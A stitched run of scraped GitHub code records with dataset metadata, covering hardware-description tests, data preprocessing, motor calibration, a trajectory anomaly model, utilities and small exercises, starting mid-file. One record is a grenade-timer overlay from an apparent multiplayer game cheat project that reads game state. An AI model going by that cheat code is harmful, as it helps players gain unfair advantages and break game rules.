opts = {\n \"output\": backend,\n \"flatten_all_tuples\": flatten_all_tuples,\n }\n _assert_compilation(Top, basename, suffix, opts)\n\n\ndef test_generator():\n\n class Logic(m.Generator):\n def __init__(self, width=None):\n T = m.Bit if width is None else m.Bits[width]\n self.io = io = m.IO(I=m.In(T), O=m.Out(T))\n io.O @= ~io.I\n\n class LogicAsserts(m.Generator):\n def __init__(self, dut, width=None):\n T = m.Bit if width is None else m.Bits[width]\n self.width = width\n self.io = io = m.IO(I=m.In(T), O=m.In(T), other=m.In(m.Bit))\n m.inline_verilog(\"{I} {O} {other}\", I=io.I, O=io.O, other=io.other)\n self.bind_args = [m.bits(dut.I)[0]]\n\n m.bind(Logic, LogicAsserts)\n\n class Top(m.Circuit):\n T = m.Bits[2]\n io = m.IO(I=m.In(T), O=m.Out(T))\n I = m.bits(list(map(lambda x: Logic()()(x), io.I)))\n io.O @= Logic(2)()(I)\n\n opts = {\n \"output\": \"mlir\",\n }\n _assert_compilation(Top, \"test_bind_generator\", \"mlir\", opts)\n\n class _CheckLogicAssertsAreBoundModulesPass(CircuitPass):\n def __call__(self, defn):\n if not isinstance(defn, LogicAsserts):\n return\n assert is_bound_module(defn)\n\n assert not is_bound_module(Top)\n _CheckLogicAssertsAreBoundModulesPass(Top).run()\n\n\n@pytest.mark.parametrize(\n \"backend,split_verilog\",\n itertools.product((\"mlir\",), (False, True))\n)\ndef test_compile_guard(backend, split_verilog):\n\n class Top(m.Circuit):\n io = m.IO(I=m.In(m.Bit), O=m.Out(m.Bit))\n io.O @= ~io.I\n\n class TopCompileGuardAsserts(m.Circuit):\n name = f\"TopCompileGuardAsserts_{backend}\"\n io = m.IO(I=m.In(m.Bit), O=m.In(m.Bit), other=m.In(m.Bit))\n io.I.unused()\n io.O.unused()\n io.other.unused()\n\n with m.compile_guard(\"ASSERT_ON\"):\n m.bind(Top, TopCompileGuardAsserts, Top.I)\n\n assert not is_bound_module(Top)\n assert is_bound_module(TopCompileGuardAsserts)\n inst = Top.instances[-1]\n assert is_bound_instance(inst)\n compile_guard_infos = maybe_get_bound_instance_info(inst).compile_guards\n assert len(compile_guard_infos) == 1\n assert compile_guard_infos[0] is not None\n assert compile_guard_infos[0].condition_str == \"ASSERT_ON\"\n\n basename = f\"test_bind_compile_guard\"\n suffix = \"mlir\" if backend == \"mlir\" else \"v\"\n opts = {\n \"output\": backend,\n }\n if split_verilog:\n opts.update({\"split_verilog\": True})\n basename = basename + \"_split_verilog\"\n _assert_compilation(Top, basename, suffix, opts)\n\n\n@pytest.mark.parametrize(\n \"backend,split_verilog\",\n itertools.product((\"mlir\",), (False, True))\n)\ndef test_compile_guard_generator(backend, split_verilog):\n\n class Logic(m.Generator):\n def __init__(self, width=None):\n T = m.Bit if width is None else m.Bits[width]\n self.io = io = m.IO(I=m.In(T), O=m.Out(T))\n io.O @= ~io.I\n\n class LogicAsserts(m.Generator):\n def __init__(self, dut, width=None):\n T = m.Bit if width is None else m.Bits[width]\n self.width = width\n self.io = io = m.IO(I=m.In(T), O=m.In(T), other=m.In(m.Bit))\n m.inline_verilog(\"{I} {O} {other}\", I=io.I, O=io.O, other=io.other)\n self.bind_args = [m.bits(dut.I)[0]]\n\n with m.compile_guard(\"ASSERT_ON\"):\n m.bind(Logic, LogicAsserts)\n\n class Top(m.Circuit):\n T = m.Bits[2]\n io = m.IO(I=m.In(T), O=m.Out(T))\n I = m.bits(list(map(lambda x: Logic()()(x), io.I)))\n io.O @= Logic(2)()(I)\n\n basename = f\"test_bind_compile_guard_generator\"\n suffix = \"mlir\" if backend == \"mlir\" else \"v\"\n opts = {\n \"output\": backend,\n }\n if split_verilog:\n opts.update({\"split_verilog\": True})\n basename = basename + \"_split_verilog\"\n _assert_compilation(Top, basename, suffix, opts)\n","repo_name":"phanrahan/magma","sub_path":"tests/test_bind.py","file_name":"test_bind.py","file_ext":"py","file_size_in_byte":7046,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"82"} +{"seq_id":"18773192168","text":"from functions import *\n\npd.set_option(\"display.max_rows\",999)\npd.set_option(\"display.max_columns\", 999)\ndf = pd.read_csv(\"../data/training_set_features.csv\")\n\n\ntarget = pd.read_csv(\"../data/training_set_labels.csv\")\n\nfull_df = pd.merge(df, target, on=\"respondent_id\")\n\nfull_df.to_csv(\"../data/untouched_with_labels.csv\", index=False)\n\n\n# 2-category columns to binary column\nfull_df[\"sex\"] = df[\"sex\"].apply(lambda x: category_to_binary(x,\"Male\"))\nfull_df[\"marital_status\"] = df[\"marital_status\"].apply(lambda x:\n category_to_binary(x, \"Not Married\"))\n\nfull_df[\"rent_or_own\"] = df[\"rent_or_own\"].apply(lambda x:\n category_to_binary(x, \"Rent\"))\n# get_dummies on multiple-category-columns\n\ntypes = [\"int64\",\"float64\"]\ncategorical = []\nnumerical = []\nfor column in full_df.columns:\n if seperate_columns_by_type(full_df[column], types):\n numerical.append(column)\n else:\n categorical.append(column)\n\nfor column in categorical:\n full_df = dummies_into_dataframe(full_df, column)\nprint(full_df.dtypes)\n\n# Creating seperate dataframe for each model\ndf_h1n1 = full_df.drop([\"seasonal_vaccine\"], axis=1)\ndf_seasonal = full_df.drop([\"h1n1_vaccine\"], axis=1)\n\n# After exploring the data, decided on what columns could get dropped\ncolumns_to_drop_h1n1 = [\"behavioral_antiviral_meds\",\"behavioral_large_gatherings\", \"behavioral_outside_home\",\n \"opinion_seas_risk\", \"opinion_seas_sick_from_vacc\", \"opinion_seas_vacc_effective\",\n \"household_adults\", \"household_children\", \"doctor_recc_seasonal\", \"opinion_h1n1_sick_from_vacc\"]\n\ncolumns_to_drop_seasonal = [\"doctor_recc_h1n1\", \"child_under_6_months\", \"opinion_h1n1_vacc_effective\", \"opinion_h1n1_risk\",\n \"opinion_h1n1_sick_from_vacc\",\"opinion_seas_sick_from_vacc\",\"household_adults\",\"household_children\"]\n\ndf_h1n1 = df_h1n1.drop(columns_to_drop_h1n1, axis=1)\ndf_seasonal = df_seasonal.drop(columns_to_drop_seasonal, axis=1)\n\n# Creating csv for each model\ndf_h1n1.to_csv(\"../data/training_h1n1.csv\", index=False)\ndf_seasonal.to_csv(\"../data/training_seasonal.csv\", index=False)","repo_name":"matthew-samyn/drivendata_flu_shot_learning","sub_path":"utils/preprocessing_data.py","file_name":"preprocessing_data.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11231150393","text":"import time\n\nimport odrive\nimport usb.core\nfrom odrive.enums import *\nfrom fibre.protocol import ChannelBrokenException\n\ndef reboot_odrive():\n try:\n od.save_configuration()\n od.reboot()\n except ChannelBrokenException:\n print('motor calibration complete')\n exit(0)\n\ncalibrating = 0\n\nod = odrive.find_any()\n\nprint(\"odrive found: \" + str(od.serial_number))\ntime.sleep(2)\n\nif od.axis0.motor.config.pre_calibrated:\n print(\"The motor is already calibrated, setting pre_calibrated to false. Please rerun this script\")\n od.axis0.motor.config.pre_calibrated = False\n reboot_odrive()\n\nif calibrating == 0:\n od.axis0.requested_state = AXIS_STATE_MOTOR_CALIBRATION\nif calibrating == 1:\n od.axis1.requested_state = AXIS_STATE_MOTOR_CALIBRATION\n\nprint('motor calibrated')\n\ntime.sleep(2)\nif calibrating == 0:\n od.axis0.motor.config.pre_calibrated = True\nif calibrating == 1:\n od.axis1.motor.config.pre_calibrated = True\n\n\nprint('configuration saved')\ntime.sleep(2)\n\nreboot_odrive()\n\n\n\n","repo_name":"bkenndpngineering/Robot-Penguin-Pygame","sub_path":"Delta_Testing_Testing/RPi_ODrive/motor_calibration.py","file_name":"motor_calibration.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"11631718204","text":"\"\"\"\nFaça um programa que pergunte a hora ao usuário e de acordo com o horário\nexiba uma saudação apropriada.\n\"\"\"\nhora = input('Digite o horário(0-23): ')\nif hora.isdigit():\n hora = int(hora)\n if hora < 0 or hora > 23:\n print('O horario deve ser entre 0 e 23.')\n else:\n if hora <= 11:\n print('Bom dia')\n elif hora >= 12 and hora <= 17:\n print('Boa tarde')\n elif hora >=18 and hora <=23:\n print('Boa noite')\n\nelse:\n print('Você não digitou um número.')\n","repo_name":"Lukas132ss/Material-de-Python","sub_path":"Exercicios/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31707139791","text":"from Config import * #@UnusedWildImport\r\nfrom Keys import keys\r\nfrom utils import draw_string_center\r\n\r\nclass GrenadeCooking(object):\r\n \r\n def __init__(self, env):\r\n self.env = env\r\n self.reinit()\r\n\r\n def reinit(self):\r\n self.time_begin_cooking = None\r\n\r\n def render(self):\r\n read_game = self.env.read_game\r\n wn = self.env.weapon_names\r\n frame = self.env.frame\r\n \r\n if not read_game.is_in_game:\r\n self.reinit()\r\n return\r\n \r\n # is the current lethal weapon \"frag grenades\"\r\n frag_active = wn.get_weapon_model(wn.get_frag_grenade()) == \"frag_grenade_mp\"\r\n frag_ammo = wn.get_ammo(wn.get_frag_grenade())\r\n\r\n if keys[\"KEY_GRENADECOOKING_ACTIVE\"] and frag_active:\r\n if keys[\"KEY_GRENADECOOKING\"] and frag_ammo > 0:\r\n # starting countdown\r\n self.time_begin_cooking = read_game.game_time\r\n \r\n if self.time_begin_cooking is not None:\r\n # print cooking indicator\r\n cooking_time = GRENADECOOKING_TIMER - (read_game.game_time - self.time_begin_cooking) / 1000.0\r\n if cooking_time <= 0:\r\n self.reinit()\r\n else:\r\n text = \"Cooking: %.1f\" % cooking_time \r\n draw_string_center(frame.cooking,\r\n read_game.resolution_x / 2, read_game.resolution_y/2 + GRENADECOOKING_CENTER_Y,\r\n GRENADECOOKING_FONT_COLOR, text)\r\n else:\r\n self.reinit()\r\n","repo_name":"Armaniac/pyexternalboxespmw2","sub_path":"src-bo/GrenadeCooking.py","file_name":"GrenadeCooking.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22343241714","text":"'''\n This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de).\n\n PM4Py is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n PM4Py is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with PM4Py. If not, see .\n'''\ndef derive_end_activities_from_log(log, activity_key):\n \"\"\"\n Derive end activities from log\n\n Parameters\n -----------\n log\n Log object\n activity_key\n Activity key\n\n Returns\n -----------\n e\n End activities\n \"\"\"\n e = set()\n for t in log:\n if len(t) > 0:\n if activity_key in t[len(t) - 1]:\n e.add(t[len(t) - 1][activity_key])\n return e\n\n\ndef derive_start_activities_from_log(log, activity_key):\n \"\"\"\n Derive start activities from log\n\n Parameters\n -----------\n log\n Log object\n activity_key\n Activity key\n\n Returns\n -----------\n s\n Start activities\n \"\"\"\n s = set()\n for t in log:\n if len(t) > 0:\n if activity_key in t[0]:\n s.add(t[0][activity_key])\n return s\n","repo_name":"pm4py/pm4py-core","sub_path":"pm4py/algo/discovery/alpha/utils/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":604,"dataset":"github-code","pt":"82"} +{"seq_id":"5572587443","text":"'''\nContains logging configuration functions for snakemake workflow scripts\nand a class usefull to redirect std streams to loggers\n'''\n\nimport sys\nimport logging\n\nLOGLEVELS = {\n \"DEBUG\":logging.DEBUG,\n \"INFO\":logging.INFO,\n \"WARNING\":logging.WARNING,\n \"ERROR\":logging.ERROR,\n \"CRITICAL\":logging.CRITICAL, }\n\ndef start_log(snakemake):\n '''\n Configure logging to log into the snakemake specified logfile\n '''\n # logging <3.9 does not support encoding\n if sys.version_info[0] == 3 and sys.version_info[1] < 9 :\n logging.basicConfig(filename=str(snakemake.log), style=\"{\",\n format=\"{asctime} {name}: {levelname}: {message}\", datefmt=\"%b %d %H:%M:%S\",\n level=LOGLEVELS[snakemake.config[\"loglevel\"]])\n else:\n logging.basicConfig(filename=str(snakemake.log), encoding='utf-8', style=\"{\",\n format=\"{asctime} {name}: {levelname}: {message}\", datefmt=\"%b %d %H:%M:%S\",\n level=LOGLEVELS[snakemake.config[\"loglevel\"]])\n logger = logging.getLogger(f\"{snakemake.rule}\")\n logger.info(\"Start of rule\")\n logger.info(\"Loglevel: %s\", logger.getEffectiveLevel())\n return logger\n\nclass StreamToLogger:\n '''\n Fake file-like stream object that redirects writes to a logger instance.\n '''\n def __init__(self, logger, level):\n self.logger = logger\n self.level = level\n self.linebuf = ''\n\n def write(self, buf):\n '''Write the buffer through to the logger'''\n for line in buf.rstrip().splitlines():\n self.logger.log(self.level, line.rstrip())\n\n def flush(self):\n '''Noop'''\n","repo_name":"michaelschaub/calcium-imaging-analysis","sub_path":"ci_lib/utils/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"10887938500","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom data_process import DataGenerator\nfrom sklearn import metrics\nfrom sklearn.metrics import f1_score as F1\nfrom sklearn.metrics import roc_auc_score as auc\n\n\n#args\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nembedding_dim = 256\nmap_size = (51,158)\ninput_size = 51*158+1\nnum_classes = 3\noutput_size = 51*158+3\ntoken_dim = 128\nhidden_size = 256\nz_dim=128\nlayer = 1\nbatch_size = 32\nlr = 0.001\n\n\ndef kl_div(p_mean, p_log_var, t_mean, t_log_var):\n kl = - 0.5 * (p_log_var - t_log_var + 1 - torch.exp(p_log_var) / torch.exp(t_log_var) - (p_mean - t_mean).pow(2) / torch.exp(t_log_var)).sum(-1)\n return kl\n\n\nclass Encoder(nn.Module):\n def __init__(self, input_dim, hidden_dim, embbed_dim, num_layers, embedding):\n super(Encoder, self).__init__()\n self.input_dim = input_dim\n self.embbed_dim = embbed_dim\n self.hidden_dim = hidden_dim\n self.num_layers = num_layers\n\n self.linear = nn.Linear(embedding_dim, token_dim)\n self.embedding = nn.Embedding.from_pretrained(embedding, padding_idx=0)\n self.gru = nn.GRU(self.embbed_dim, self.hidden_dim, num_layers=self.num_layers, batch_first=True)\n\n def forward(self, src, lengths):\n embedded = self.linear(self.embedding(src))\n pack = nn.utils.rnn.pack_padded_sequence(embedded, lengths.cpu(), batch_first=True, enforce_sorted=False)\n output, _ = self.gru(pack)\n output , _ = nn.utils.rnn.pad_packed_sequence(output, batch_first=True)\n hidden = output.mean(1).unsqueeze(0)\n return hidden\n\nclass Decoder(nn.Module):\n def __init__(self, output_dim, hidden_dim, embbed_dim, num_layers):\n super(Decoder, self).__init__()\n \n self.embbed_dim = embbed_dim\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n self.num_layers = num_layers\n \n self.embedding = nn.Embedding(output_dim, self.embbed_dim, padding_idx=0)\n self.gru = nn.GRU(self.embbed_dim+self.hidden_dim+num_classes, self.hidden_dim, num_layers=self.num_layers, batch_first=True)\n self.out = nn.Linear(self.hidden_dim, output_dim) \n self.fc = nn.Linear(num_classes*hidden_size, hidden_size)\n \n def forward(self, input, encode_hidden, decode_hidden, lengths, y_oh):\n embedded = self.embedding(input)\n labels = y_oh.unsqueeze(1).repeat(1,embedded.shape[1],1)\n encode_hidden = encode_hidden.transpose(0,1).repeat(1,embedded.shape[1],1)\n embedded = torch.cat((embedded, encode_hidden, labels), 2)\n pack = nn.utils.rnn.pack_padded_sequence(embedded, lengths.cpu(), batch_first=True, enforce_sorted=False)\n decode_hidden = self.fc(decode_hidden.view(decode_hidden.shape[0], -1)).unsqueeze(0)\n output, _ = self.gru(pack, decode_hidden)\n output , _ = nn.utils.rnn.pad_packed_sequence(output, batch_first=True)\n prediction = self.out(output)\n return prediction\n\n\nclass Seq2Seq(nn.Module):\n def __init__(self, encoder, decoder, device, t_mu_shift, t_var_scale):\n super().__init__()\n \n self.encoder = encoder\n self.decoder = decoder\n self.device = device\n self.num_classes = num_classes\n self.z_dim = z_dim\n\n self.fc1 = nn.Linear(self.z_dim, num_classes)\n self.fc2 = nn.Linear(hidden_size, self.num_classes * self.z_dim) \n self.fc3 = nn.Linear(hidden_size, self.num_classes * self.z_dim)\n self.fc4 = nn.Linear(self.z_dim, hidden_size)\n self.relu1 = nn.ReLU()\n self.relu2 = nn.ReLU()\n self.relu3 = nn.ReLU()\n self.t_mean = nn.Embedding(self.num_classes, self.num_classes * self.z_dim)\n self.t_log_var = nn.Embedding(self.num_classes, self.num_classes * self.z_dim)\n self.t_mean, self.t_log_var = self._init_targets(t_mu_shift, t_var_scale)\n \n \n def _init_targets(self, t_mu_shift, t_var_scale):\n t_mean_init = 1.0 * F.one_hot(torch.arange(self.num_classes), self.num_classes)\n t_mean_init = t_mean_init.unsqueeze(-1).repeat(1, 1, self.z_dim).view(self.num_classes, -1)\n t_mean_init = t_mean_init * t_mu_shift\n t_mean = nn.Embedding.from_pretrained(t_mean_init, freeze=False)\n t_log_var_init = torch.ones(self.num_classes, self.num_classes * self.z_dim)\n t_log_var_init = t_log_var_init * t_var_scale\n t_log_var = nn.Embedding.from_pretrained(t_log_var_init, freeze=False)\n return t_mean, t_log_var\n \n def cross_kl_div(self, z_mu, z_log_var, detach_inputs=False, detach_targets=False):\n \"\"\"\n Compute kl divergence between the variation capsule distribution defined by z_mu and z_var with all the \n targets.\n \n Args:\n z_mu: tensor of shape [bs, num_classes, z_dim].\n z_var: tensor of shape [bs, num_classes, z_dim].\n detach_inputs: bool.\n detach_targets: bool.\n \n Ouput:\n kl: tensor of shape [bs, num_classes]\n \"\"\"\n B, num_classes, _ = z_mu.shape\n kl = []\n t_idxs = torch.arange(num_classes).unsqueeze(0).repeat(B, 1).to(z_mu.device)\n t_means = self.t_mean(t_idxs) \n t_log_vars = self.t_log_var(t_idxs) \n \n if detach_inputs:\n z_mu = z_mu.detach()\n z_log_var = z_log_var.detach()\n \n if detach_targets:\n t_means = t_means.detach()\n t_log_vars = t_log_vars.detach()\n \n for t_mean_i, t_log_var_i in zip(t_means.permute(1, 0, 2), t_log_vars.permute(1, 0, 2)):\n kl_i = kl_div(torch.flatten(z_mu, 1), torch.flatten(z_log_var, 1), t_mean_i, t_log_var_i) \n kl += [kl_i]\n kl = torch.stack(kl, 1) \n return kl\n\n def reparameterize(self, mu, log_var):\n std = torch.exp(log_var/2)\n eps = torch.randn_like(std)\n return mu + eps * std\n \n def forward(self,batch_encode_input, batch_decode_input, batch_lengths, y_oh=None, train=True):\n encode_hidden = self.encoder(batch_encode_input, batch_lengths)\n mu = self.fc2(encode_hidden.squeeze(0)).view(encode_hidden.shape[1], self.num_classes, z_dim)\n log_var = self.fc3(encode_hidden.squeeze(0)).view(encode_hidden.shape[1], self.num_classes, z_dim)\n z = self.reparameterize(mu, log_var)\n decode_hidden = self.relu1(self.fc4(z))\n\n kl = self.cross_kl_div(mu, log_var, detach_targets=True)\n logits = - torch.log(kl)\n\n batch_lengths += torch.tensor(1) \n \n if(train):\n batch_decode_output = self.decoder(batch_decode_input, encode_hidden, decode_hidden, batch_lengths, y_oh)\n else:\n batch_decode_output = self.decoder(batch_decode_input, encode_hidden, decode_hidden, batch_lengths, logits)\n\n out = {\n 'encode_hidden': encode_hidden,\n 'rec': batch_decode_output,\n 'logits': logits,\n 'z': z,\n 'z_mu': mu,\n 'z_log_var': log_var,\n 'kl': kl\n }\n return out\n\ndef train(model, data, optimizer, criterion):\n model.train()\n epoch_loss = 0\n for batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels in data.iterate_data(data_type='train'): \n batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels = batch_encode_input.to(device), batch_decode_input.to(device), batch_decode_output.to(device), batch_seq_length.to(device), labels.to(device)\n \n y_oh = F.one_hot(labels, num_classes)\n preds = model(batch_encode_input, batch_decode_input, batch_seq_length, y_oh)\n t_mu, t_log_var = model.t_mean(labels), model.t_log_var(labels)\n t_mu = t_mu.view(preds['z_mu'].shape)\n t_log_var = t_log_var.view(preds['z_log_var'].shape)\n\n loss_kl = kl_div(preds['z_mu'], preds['z_log_var'], t_mu.detach(), t_log_var.detach()).mean(-1).mean(0)\n loss_contr = model.cross_kl_div(preds['z_mu'], preds['z_log_var'], detach_inputs=True)\n loss_contr = torch.where(y_oh < 1, loss_contr, torch.zeros_like(loss_contr))\n loss_contr = F.relu(10 - loss_contr)\n loss_contr = (loss_contr / (num_classes - 1)).sum(-1).mean(0)\n loss_rec = criterion(preds['rec'].transpose(1,2), batch_decode_output).mean()\n loss = loss_kl + loss_rec + loss_contr\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n epoch_loss += loss.item()\n\n return epoch_loss / data.train_traj_num * batch_size\n\n\ndef get_threshold(model, data):\n values = []\n with torch.no_grad():\n for batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels in data.iterate_data(\n data_type='train'):\n batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels = \\\n batch_encode_input.to(device), batch_decode_input.to(device), batch_decode_output.to(\n device), batch_seq_length.to(device), labels.to(device)\n\n preds = model(batch_encode_input, batch_decode_input, batch_seq_length, train=False)\n value, _ = torch.max(F.softmax(preds['logits'], -1), -1)\n values.append(list(value.to('cpu')))\n values = np.array(values).reshape(-1)\n values = np.sort(values)\n threshold = values[int(np.floor(len(values)*0.1))]\n\n return threshold\n\n\ndef _test(model, data, threshold):\n target = []\n y_pred = []\n binary = []\n binary_pred = []\n with torch.no_grad():\n for batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels in data.iterate_data(data_type='test'):\n batch_encode_input, batch_decode_input, batch_decode_output, batch_seq_length, labels = \\\n batch_encode_input.to(device), batch_decode_input.to(device), batch_decode_output.to(device), batch_seq_length.to(device), labels.to(device)\n \n preds = model(batch_encode_input, batch_decode_input, batch_seq_length, train=False)\n\n target.append(labels.to('cpu').numpy())\n \n values, indices = torch.max(F.softmax(preds['logits'], -1), -1)\n opens = (torch.zeros_like(values, dtype=torch.long) + 3).to(device)\n ones = (torch.zeros_like(values, dtype=torch.long) + 1).to(device)\n zeros = torch.zeros_like(values, dtype=torch.long).to(device)\n indices = torch.LongTensor(indices.to('cpu')).to(device)\n result = torch.where(values > threshold, indices, opens)\n binary_result = torch.where(labels == 3, zeros, ones)\n y_pred.append(result.to('cpu').numpy())\n binary.append(binary_result.to('cpu').numpy())\n binary_pred.append(values.to('cpu').numpy())\n\n return target, y_pred, binary, binary_pred\n\n\nif __name__ == \"__main__\":\n embedding = torch.FloatTensor(np.load('./embedding/embedding1.npy'))\n encoder = Encoder(input_size, hidden_size, token_dim, layer, embedding)\n decoder = Decoder(output_size, hidden_size, token_dim, layer)\n model = Seq2Seq(encoder, decoder, device, t_mu_shift=1.0, t_var_scale=1.0).to(device)\n criterion = nn.CrossEntropyLoss(reduction='none')\n optimizer = optim.SGD(model.parameters(), lr = lr, momentum=0.9)\n data = DataGenerator()\n\n data.load_outliers('train_porto_outliers.pkl', 'train')\n for epoch in range(1, 11):\n print('epoch:{} \\tloss:{}'.format(epoch, train(model, data, optimizer, criterion)))\n for param_group in optimizer.param_groups:\n param_group['lr'] = 0.0001\n for epoch in range(11, 51):\n print('epoch:{} \\tloss:{}'.format(epoch, train(model, data, optimizer, criterion)))\n\n threshold = get_threshold(model, data)\n\n data.load_outliers('test_porto_outliers.pkl', 'test')\n target, y_pred, binary, binary_pred = _test(model, data, threshold)\n target = np.array(target).reshape(-1)\n y_pred = np.array(y_pred).reshape(-1)\n binary = np.array(binary).reshape(-1)\n binary_pred = np.array(binary_pred).reshape(-1)\n print('F1-score:{}'.format(F1(target,y_pred,average='macro')))\n print('AUROC:{}'.format(auc(binary,binary_pred,average='macro')))\n precision, recall, _ = metrics.precision_recall_curve(binary,binary_pred)\n area = metrics.auc(recall, precision)\n print('PR-AUC:{}'.format(area))","repo_name":"ypeggy/ATROM","sub_path":"porto/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":12545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26050045574","text":"import re\nfrom array import array\n\n\ndef strsq(a, b, split=''):\n \"\"\"生成字符序列\"\"\"\n def check_param(ch):\n ok = False\n if isinstance(ch, str):\n if len(ch) == 1:\n ch = ord(ch)\n ok = True\n elif isinstance(ch, int):\n ok = True\n if ok:\n return ch\n else:\n raise ValueError('参数必须是字符或者整数')\n a = check_param(a)\n b = check_param(b)\n if a > b:\n a, b = b, a\n sq = (chr(x) for x in range(a, b + 1))\n return split.join(sq) if isinstance(split, str) else sq\n\n\ndef str2codes(s):\n return [ord(ch) for ch in s]\n\n\ndef codes2str(cs):\n return ''.join(chr(c) for c in cs)\n\n\ndef matchAll(reg, text, fn):\n if isinstance(fn, (list, tuple)):\n arg = fn\n\n def fn(x):\n return [x.group(i) for i in arg]\n\n elif isinstance(fn, int):\n arg = fn\n\n def fn(x):\n return x.group(arg)\n\n return [fn(m) for m in re.finditer(reg, text)]\n\n\ndef replace(s, rulers):\n \"\"\"字符串批量替换\"\"\"\n for patterm, rep in rulers:\n s = re.sub(patterm, rep, s)\n return s\n\n\ndef toggle_bc_case(text, sbc=True, dbc=True):\n \"\"\"切换全角半角\n :param sbc: 全角转换成半角\n :param dbc: 半角转换成全角\n \"\"\"\n result = array('u', text)\n for i in range(len(result)):\n ch = ord(result[i])\n if sbc and 32 < ch < 127:\n ch += 65248\n elif dbc and 65280 < ch < 65375:\n ch -= 65248\n result[i] = chr(ch)\n return result.tounicode()\n","repo_name":"czastack/sublime_text3_plugin","sub_path":"An/lib/utils/string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"59644781","text":"from rest_framework import viewsets, response, status\nfrom .serializers import CitySerializer\nfrom .models import City\n\n\nclass CityViewSet(viewsets.ModelViewSet):\n queryset = City.objects.all()\n serializer_class = CitySerializer\n cache_dict = {}\n cache_list = []\n\n def cache_response(self, name):\n try:\n print('Есть', self.cache_dict[name]) # проверяем наличие запроса в кэше\n return True\n except:\n self.cache_dict[name] = None # добавляем значение в словарь \"O(1)\"\n self.cache_list.append(name) # добавляем значение в конец списока \"O(1)\"\n if len(self.cache_list) > 100: # проверяем длину списка \"O(1)\"\n self.cache_dict.pop(self.cache_list[0]) # Удаляем из словаря \"O(1)\"\n self.cache_list.pop(0) # Если кеш больше 100, удаляем первый элемент \"O(1)\"\n return False\n\n def create(self, request, *args, **kwargs):\n name = request.data['name']\n if self.cache_response(name):\n # print('Есть в кэше')\n return response.Response('true') # Если есть в кэше, отвечаем \"True\"\n\n else:\n # print('Нет в кэше')\n if City.objects.filter(name=name).exists(): # Вв кэше нет, проверяем наличие в базе. Если нет, добавляем\n # print('Находится в бд')\n return response.Response('true')\n else:\n # print('Запись в бд')\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n headers = self.get_success_headers(serializer.data)\n # return response.Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n return response.Response('false', status=status.HTTP_201_CREATED, headers=headers)\n\n\n\n","repo_name":"Ardash12/city-base","sub_path":"city/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74684750347","text":"__author__ = 'pbates'\n\nimport simplejson as json\nfrom pprint import pprint\nfrom elasticsearch import Elasticsearch\n\nes = Elasticsearch()\n\njson_data = open('../data/ChargeDeviceDestinations.json')\n\ndata = json.load(json_data)\n\nfor charge_device in data['ChargeDevice']:\n new_element = {'ChargeDeviceRef': charge_device['ChargeDeviceRef'],\n 'location': {'lon': float(charge_device['ChargeDeviceLocation']['Longitude']),\n 'lat': float(charge_device['ChargeDeviceLocation']['Latitude'])}}\n #print new_element\n es.index(index=\"open_data\", doc_type=\"charge_device\", id=new_element['ChargeDeviceRef'], body=new_element)\njson_data.close()\n\n","repo_name":"theqashmachine/elasticsearch","sub_path":"etl/app_v02.py","file_name":"app_v02.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11941684303","text":"import math\n\n\ndef compute_circle_area(radius):\n return math.pi * radius ** 2\n\n\ndef compute_triangle_area(side1, side2, side3):\n # Проверка на прямоугольный треугольник\n sides = [side1, side2, side3]\n sides.sort()\n if sides[0] ** 2 + sides[1] ** 2 == sides[2] ** 2:\n is_right_triangle = True\n else:\n is_right_triangle = False\n\n # Вычисление площади по формуле Герона\n semiperimeter = (side1 + side2 + side3) / 2\n area = math.sqrt(semiperimeter * (semiperimeter - side1) * (semiperimeter - side2) * (semiperimeter - side3))\n\n return area, is_right_triangle","repo_name":"IsenovYermek/ShapeMaster","sub_path":"shape_area_calculator.py","file_name":"shape_area_calculator.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} 